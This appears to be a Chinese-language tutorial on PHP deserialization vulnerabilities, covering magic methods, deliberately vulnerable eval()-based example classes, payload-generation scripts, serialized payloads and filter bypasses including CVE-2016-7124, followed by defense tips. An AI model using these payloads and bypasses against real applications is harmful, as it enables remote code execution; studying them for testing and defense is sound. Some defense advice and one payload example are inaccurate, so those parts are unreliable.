首页 / 教程资源

PHP反序列化漏洞详解

发布时间:2023-05-09 12:24:51
0x0
声明
    由于传播、利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,Cyb3rES3c及文章作者不承担任何责任。请遵守《中华人民共和国个人信息保护法》、《网络安全法》等相关法律法规。
0x1
相关介绍
概念
序列化是将变量或对象转换成字符串的过程,用于存储或传递PHP的值的过程中,不丢失其类型和结构。反序列化是将字符串转换成变量或对象的过程。举个例子,比如你网上购买一个衣柜,发货方为节省成本,将衣柜拆开给你发过去,到你手上,然后给你说明书让你组装,拆开的这个过程可以说是序列化,组装的过程就是反序列化。通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的,但是如果用户对数据可控,那就可以利用反序列化构造payload攻击。
危害
PHP的反序列化攻击是指攻击者利用PHP反序列化函数对恶意序列化数据进行反序列化,从而实现代码执行、文件读取、数据库操作等攻击行为。
利用条件
1、unserizlize()函数的参数可控。
2、代码中至少有定义一个含有魔术方法的类,且对该方法中使用的参数的存在安全问题。
以上两个条件缺一不可。
相关函数
// 序列化serialize()// 反序列化unserialize()

字母标识

a - arrayb - booleand - doublei - integero - common objectr - references - stringC - custom objectO - classN - nullR - pointer referenceU - unicode string
PHP序列化
示例代码
<?php
class hello{ public $var1 = "11"; public $var2 = "22"; public $var3 = "33";}
$object = new hello();echo "\n" . serialize($object) . "\n";
执行结果
0x2
魔术方法
常见的魔术方法如下
__construct 当一个对象创建时被调用__destruct 当一个对象销毁时被调用__toString 当一个对象被当作一个字符串被调用时触发__wakeup() 使用unserialize时触发__sleep() 使用serialize时触发__call() 对不存在的方法或者不可访问的方法进行调用就自动调用__callStatic() 在静态上下文中调用不可访问的方法时触发__get() 用于从不可访问的属性读取数据__set() 在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用__isset() 在不可访问的属性上调用isset()或empty()触发__unset() 在不可访问的属性上使用unset()时触发__invoke() 当脚本尝试将对象调用为函数时触发
更多魔术方法见PHP手册(附链接)
https://www.php.net/manual/zh/language.oop5.magic.php
魔术方法调用
__construct、__destruct、__wakeup、__sleep、__toString
<?php
class magic_hello{ public $var1 = "string1"; public $var2 = "string2";
public function PrintVar(){ echo $this->var2."\n"; }
public function __construct(){ echo "__construct\n"; }
public function __destruct(){ echo "__destruct\n"; }
public function __wakeup(){ echo "__wakeup\n"; }
public function __sleep(){ echo "__sleep\n"; return array("var1", "var2"); }
public function __toString(){ // TODO: Implement __toString() method. return "__toString\n"; }}
$object1 = new magic_hello();
$serialized = serialize($object1);print "Serialize: " . $serialized . "\n";$object2 = unserialize($serialized);$object2->PrintVar();echo $object2;
debug分析代码
第一步:实例化magic_hello类,触发__construct()魔术方法。
第二步:serialize序列化$object1对象,触发__sleep()魔术方法。
第三步:打印序列化结果。
第四步:反序列化,触发__wakeup()魔术方法。
第五步:调用PrintVar()方法。
第六步:打印输出对象,调用__toString()魔术方法(PS:echo、print、print_r打印输出一个对象时程序将调用__toString()魔术方法)。
最后:代码执行完毕,销毁对象,调用__destruct()魔术方法。
程序运行结果!
问:为什么会调用两次__destruct()魔术方法呢?
答:因为在反序列化过程中又重建了一个对象。
问:既然又重建了一个对象,那为什么没有调用两次__construct()魔术方法而只调用了一次呢?
答:在反序列化过程中,PHP 会先通过类的反射机制创建一个空对象,然后再将序列化字符串中的数据逐个填充到这个对象的属性和成员变量中。因为在这个过程中,对象已经被创建并填充了数据,所以 PHP 不会再次调用构造函数 __construct()。
    实际上,在序列化和反序列化的过程中,构造函数 __construct()只会在对象第一次被创建时调用。在这个例子中,当我们实例化magic_hello类时,PHP 会调用__construct()方法。但是,在我们反序列化并重建对象时,PHP 不会再次调用__construct()方法,因为这个对象已经被创建过了。
__call、__callStatic
<?phpclass magic_hello02 { private $data1 = []; private static $data2 = [];
// __call() 魔术方法必须包含两个参数 public function __call($name, $arguments) { if($name === 'get') { return $this->data1[$arguments[0]]; } else if($name === 'set') { $this->data1[$arguments[0]] = $arguments[1]; } }
// __callStatic() 魔术方法必须包含两个参数 public static function __callStatic($name, $arguments){ if($name == "get"){ return self::$data2[$arguments[0]]; } else if($name == "set"){ self::$data2[$arguments[0]] = $arguments[1]; } }}
$serialized = 'O:13:"magic_hello02":0:{}';$object_1 = unserialize($serialized);$object_2 = unserialize($serialized);// magic_hello02 对象中不存在 set() 方法,将会调用 __call() 方法$object_1->set('name', 'Alice');// :: 调用静态方法$object_2::set('name', 'Jack');// 调用 __call() 方法echo $object_1->get('name')."\n";echo $object_2::get('name');
第一步:反序列化。
第二步:属性赋值。
    由于magic_hello02对象中不存在set()方法,程序将调用__call()魔术方法给属性赋值。
第三步:调用静态方法赋值。
    由于magic_hello02对象中不存在set()静态方法,程序将调用__callStatic()魔术方法给属性赋值。
第四步:通过魔术方法读取不可访问属性。
调用__call()魔术方法。
调用__callStatic()魔术方法。
__get、__set、__isset、__unset
<?phpclass magic_hello03 { private $data = [];
public function __get($name) { return $this->data[$name]; }
public function __set($name, $value) { $this->data[$name] = $value; }
public function __isset($name) { return isset($this->data[$name]); }
public function __unset($name) { unset($this->data[$name]); }}
$serialized = 'O:13:"magic_hello03":1:{s:4:"data";a:1:{s:4:"name";s:5:"Alice";}}';$object_1 = unserialize($serialized);
$object_2 = new magic_hello03();
echo isset($object_1->name)."\n";unset($object_1->name);// 调用 __set() 方法,设置对象属性$object_2->name = "Jack";// 调用 __get() 方法,输出 "Alice"echo $object_2->name;
第一步:反序列化。
第二步:实例化对象magic_hello03。
第三步:调用__isset()魔术方法。
打印1。
第四步:调用__unset()魔术方法。
调用__unset()魔术方法前。
调用__unset()魔术方法后。
第五步:设置属性。
调用__set()魔术方法
调用之后。
第六步:打印输出。
调用__get()魔术方法。
__invoke
<?php
class magic_hello04 { public function __invoke($arg) { echo "You invoked the object with argument: " . $arg; }}
$object = new magic_hello04();// 调用 __invoke() 方法$object("foo");
第一步:实例化对象magic_hello04。
调用__invoke()魔术方法。
0x3
实例分析
实例1
<?php
class Vul1{ public $var = "demo";
public function __destruct(){ @eval($this->var); }}
if (isset($_GET["arg"])) { $a = unserialize($_GET["arg"]);} else { highlight_file(__FILE__);}
    在对象Vul1中有一个public属性var、一个魔术方法__destruct(),魔术方法中存在危险函数eval(),而且对参数没有任何过滤。根据前面可知当销毁一个对象时调用__destruct()魔术方法,那么就可以把var属性的值修改为要执行的shell,构造payload。
    利用代码如下:
<?php
class Vul1{ public $var = 'phpinfo();';}
$res = new Vul1();echo "\n" . serialize($res) . "\n";
payload
O:4:"Vul1":1:{s:3:"var";s:10:"phpinfo();";}
实例2
<?php
class A{ public $var;
function __construct(){ $this->var = new B; }
function __destruct(){ $this->var->action(); }}
class B{ function action(){ echo "action B"; }}
class C{ public $test;
function action(){ echo "action A"; eval($this->test); }}
if (isset($_GET["arg"])) { $a = unserialize($_GET["arg"]);} else { highlight_file(__FILE__);}
    在对象C的action()方法中存在危险函数eval()可执行恶意操作,其参数test可控且没有过滤,所以要想办法调用对象C中的action()方法。在对象A中有两个魔术方法__construct()和__destruct(),__construct()魔术方法实例化对象B,__destruct()魔术方法调用action()方法。可以利用对象A中的__construct()魔术方法调用对象C中的action()方法。
    利用代码如下:
<?php
class A{ public $var;
function __construct() { $this->var = new C(); $this->var->action(); }}
class C{ public $test = "phpinfo();";
function action() { echo "action A"; @eval($this->test); }}
$object = new A();echo "\n" . serialize($object) . "\n";
payload
O:1:"A":1:{s:3:"var";O:1:"C":1:{s:4:"test";s:10:"phpinfo();";}}
如果利用代码中使用的是__destruct()魔术方法,那么输出的payload将会是
O:1:"A":1:{s:3:"var";N;}
    因为调用两个魔术方法位置不同,当调用__construct()时对象没有被销毁,但是当调用__destruct()魔术方法时对象已经被销毁。
    注意:当目标对象被prorected、privare修饰时,protected和private返回的长度不一样。如果将实例2中的属性修饰改为protected和private就会直观看到他们的区别。
    当被protected修饰时返回的payload
    当被private修饰时返回的payload
    编译器不能打印某些不可见字符,那些小的NUL实际上是%00。
protected属性序列化格式:%00*%00成员名private属性序列化格式:%00类名%00成员名
0x4
PHP反序列化Bypass
__wakeup失效(CVE-2016-7124) Bypass
漏洞版本
5<PHP<5.6.257<PHP<7.0.10
测试环境:PHP 5.5.9
测试代码
<?php
class hello{ private $a;
function __destruct(){ echo "__destruct"; }
function __wakeup(){ echo "__wakeup"."\n"; }}
if (isset($_GET["arg"])) { $a = unserialize($_GET["arg"]);} else { highlight_file(__FILE__);}
当payload为
O:5:"hello":1:{s:1:"a";N;}
当payload为
O:5:"hello":2:{s:1:"a";N;}
    原因:当属性个数不正确时,process_nested_data函数会返回0,导致后面的call_user_function_ex函数不会执行,则在PHP中就不会调用__wakeup()。具体代码见下图:
正则绕过
测试代码
<?phpclass test{ public $a; public function __construct(){ $this->a = 'abc'; } public function __destruct(){ echo $this->a.PHP_EOL; }}
function match($data){// if (preg_match('/[oc]:\d+/i',$data)){// die('nonono!');// }else{// return $data;// } if (preg_match('/^O:\d+/',$data)){ die('nonono!'); }else{ return $data; }}
if (isset($_GET["arg"])) { $obj = $_GET["arg"]; // echo $obj.PHP_EOL."</br>"; echo match($obj).PHP_EOL."</br>"; unserialize(match($obj)); // echo unserialize(match($obj)).PHP_EOL."</br>"; var_dump(unserialize(match($obj))); // echo unserialize(match($obj));} else { highlight_file(__FILE__);}
1、加号"+"绕过,利用代码如下:
<?php
class test{ public $a;
public function __construct(){ $this->a = 'abc'; }}
$obj = new test();$obj_serialize = serialize($obj);// echo $obj_serialize.PHP_EOL;$obj_serialize_filter = str_replace("O:", "O:+", $obj_serialize);echo $obj_serialize_filter;
payload
O:+4:"test":1:{s:1:"a";s:3:"abc";}
    注意:在URL中传参的时候不能直接用这个payload,因为在URL中+表示空格,所以在URL中要使用+的URL编码%2B。
2、利用数组对象绕过,如serialize(array($a));a为反序列化的对象(序列化结果开头是a,不影响作为数组元素的$a的析构),利用代码如下:
<?php
class test{ public $a;
public function __construct(){ $this->a = 'abc'; }}
$obj = new test();echo serialize(array($obj));
payload
a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}
十六进制绕过
    原理:序列化字符出啊中表示字符类型的s大写时会被当成十六进制处理。
测试代码
<?php
class hello{ public $username;
public function __construct(){ $this->username = 'admin'; }
public function __destruct(){ echo 'success'; }}
function check($data){ if (preg_match('/username/', $data)) { echo("nonono!!!</br>"); } else { return $data; }}
if (isset($_GET["arg"])){ unserialize(check($_GET["arg"]));} else { highlight_file(__FILE__);}
    序列化字符串中不能出现username,所以要绕过检测,可以使用十六进制绕过。
    利用代码如下:
<?php
class hello{ public $username = 'hack';}
$obj = new hello();$obj_serizlize = serialize($obj);echo $obj_serizlize.PHP_EOL;$obj_serizlize_replace = str_replace("s:", "S:", $obj_serizlize);echo $obj_serizlize_replace;
    将payload中的username首字母换成十六进制表示。
O:5:"hello":1:{S:8:"username";S:4:"hack";}
    u的十六进制表示为\75,所以最终的payload为
O:5:"hello":1:{S:8:"\75sername";S:4:"hack";}
GC(Garbage collection)机制/垃圾回收机制
    __destruct是PHP对象的一个魔术方法,称为析构函数,顾名思义这是当该对象被销毁的时候自动执行的一个函数。以下情况会触发__destruct函数
1、主动调用unset($object)
2、主动调用$object = NULL
3、程序自动结束
    除此之外,PHP还拥有垃圾回收Garbage collection即我们常说的GC机制。PHP中GC使用引用计数和回收周期自动管理内存对象,那么这时候当我们的对象变成了“垃圾”,就会被GC机制自动回收掉,回收过程中,就会调用函数的__destruct。
    引用计时其实就是当一个对象没有任何引用的时候,则会被视为"垃圾",即
$a = new test();
    test对象被变量a引用, 所以该对象不是“垃圾”,而如果是这样
new test();
或这样
$a = new test();$a = 1;
    这样在test在没有被引用或在失去引用时便会被当作“垃圾”进行回收,如下面的代码:
<?php
class hello{ function __construct($arg){ $this->arg = $arg; }
function __destruct(){ echo $this->arg . " __destruct".PHP_EOL; }}
new hello('1');$a = new hello('2');$a = new hello('3');echo "----------".PHP_EOL;
    在$a = new hello('3');之前,$a都未被使用,被当作"垃圾"处理。当程序自动结束之后hello('3')被销毁并执行__destruct函数。
测试代码
<?php
class hello{ function __destruct(){ echo 'success!!'; }}
if (isset($_GET['arg'])) { $a = unserialize($_GET['arg']); throw new Exception('lose');}
    throw new Exception('lose');会抛出异常,程序非正常结束,导致不能主动调用__destruct函数,从上面介绍的调用__destruct的四种方法中只剩下$object=NULL;的情况。利用数组反序列化手动销毁对象。
利用代码如下:
<?phpclass hello{}
$serialized = serialize(array(new hello, null));echo $serialized.PHP_EOL;// 将序列化的数组下标为0的元素给为NULL,从而调用 __destruct 函数$serialized_replace = str_replace("1", "0", $serialized);echo $serialized_replace;
payload
a:2:{i:0;O:5:"hello":0:{}i:0;N;}
利用引用绕过
测试代码
<?php
class hello{ public $a; public $b;
public function __construct(){ $this->a = 'admin'; }
public function __destruct(){ if ($this->a === $this->b) { echo 'flag{Y0u_are_s0_clever}'; } }}
if (isset($_GET['arg'])) { $arg = $_GET['arg']; if (preg_match('/admin/', $arg)) { die('nonono'); } unserialize($arg);} else { highlight_file(__FILE__);}
    $b不能为admin,$a等于admin,但是打印flag的条件是$b等于$a,这有种强人所难的感觉。其实利用编程语言特性,将变量$b的内存地址指向$a的内存地址,这样$this->a === $this->b恒为true。
    利用代码如下:
<?phpclass hello{    public $a;    public $b;    public function __construct(){        $this->b = &$this->a;    }}$obj = new hello();$obj_serialize = serialize($obj);echo $obj_serialize;
payload
O:5:"hello":2:{s:1:"a";N;s:1:"b";R:2;}
小Tips
    如果变量前是protected,序列化结果会在变量名前加上\x00*\x00,但在特定版本7.1以上则对于类属性不敏感,比如下面的例子即使没有\x00*\x00也依然会输出abc。
<?php
class hello1{ protected $a;
public function __construct(){ $this->a = "abc"; }
public function __destruct(){ echo $this->a; }}
if (isset($_GET["arg"])) { $obj = $_GET["arg"]; var_dump(unserialize($obj));} else { highlight_file(__FILE__);}
payload
O:4:"test":1:{s:1:"a";s:3:"abc";}
0x5
PHP反序列化防御措施
PHP反序列化漏洞是指攻击者利用PHP语言中的反序列化函数,在应用程序中反序列化恶意数据,从而导致远程代码执行等安全问题。要防御PHP反序列化漏洞,可以采取以下措施:
1、避免使用不可信数据进行反序列化。在反序列化之前,需要对数据来源进行严格的验证,只接受来自可信源的数据。
2、使用严格的类型限制。在反序列化操作中,应该将期望的类型限制为一个特定的类或接口,而不是允许反序列化任意类型的对象。
3、禁止自动反序列化。在PHP配置文件中,可以禁用自动反序列化选项,这样就可以防止攻击者通过伪造序列化数据来执行恶意代码。
4、使用安全的序列化函数。PHP提供了多种序列化函数,如serialize()和unserialize(),应该选择安全的序列化函数来保护应用程序的安全
5、更新PHP版本和相关扩展程序。及时更新PHP版本和相关扩展程序可以修复已知的漏洞和安全问题,从而增强应用程序的安全性。
综上所述,防御PHP反序列化漏洞需要多种措施的综合使用,同时也需要开发人员和运维人员对应用程序的安全问题进行深入的研究和分析。
分享收藏点赞在看

Cyb3rES3c
微信号|Mall0c


分享收藏点赞在看

相关推荐